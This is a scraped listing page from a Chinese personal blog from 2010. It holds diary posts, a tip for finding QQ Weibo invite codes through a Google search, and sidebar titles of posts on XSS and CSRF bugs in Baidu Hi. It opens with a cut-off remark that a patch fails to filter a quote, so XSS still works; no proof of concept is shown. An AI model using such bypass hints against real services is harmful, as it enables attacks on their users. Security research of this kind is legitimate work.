补丁存在漏洞没有过滤" 可以继续跨：

NEW POC:

日久见人心

13 5月 2010 | category

心情随笔

已关闭评论

今天我搞明白了一件事

有些人你把他当朋友，他并不会把你当朋友。

对至那些曾经我把你当朋友，而你不把我当朋友的朋友说一句，如果我什么地方对不住的，这里跟你说声对不起了，至于原因我也不想搞明白了，都是我不好，我不配当你的朋友。

博客今天悲剧了

29 4月 2010 | category

心情随笔

已关闭评论

博客下午莫明其妙的被河XXXXXXXXXXXXX了

真不知道该说点什么好，伟大的天C哇

记录一下，希望以后不会出现这种问题了

很郁闷~~！

快速获取QQ微博邀请码的方法

28 4月 2010 | category

学习笔记

已关闭评论

快速获取QQ微博邀请码的方法，这个是我今天在QQ微博上看到某位大牛发的东西，感觉很有意思这里就和大家分享下，没有邀请码的朋友可以去试，大家可以直接访问以下网址

http://www.google.com.hk/search?hl=zh-CN&newwindow=1&safe=strict&tbo=1&tbs=mbl%3A1&q=t.qq.com%2Finvite%2F&btnG=Google+%E6%90%9C%E7%B4%A2&meta=&aq=f&aqi=&aql=&oq=&gs_rfai=

，如果你怕麻烦的话还可以直接在Google中输入 “t.qq.com/invite/”获取，还是Google厉害。以下搜索的图片，大家可以看到很快的，快去抢吧！

Author: 坏人咖啡

Posts by 坏人咖啡

百度Hi CSRF Bug

百度Hi宠物插件XSS

百度HI个人信息页XSS

hi.baidu embed tag html injection bug

hi.baidu creatbgmusic() Dom-Xss Bug

日久见人心

博客今天悲剧了

快速获取QQ微博邀请码的方法

文章分类

热门标签

随机文章

文章归档

Users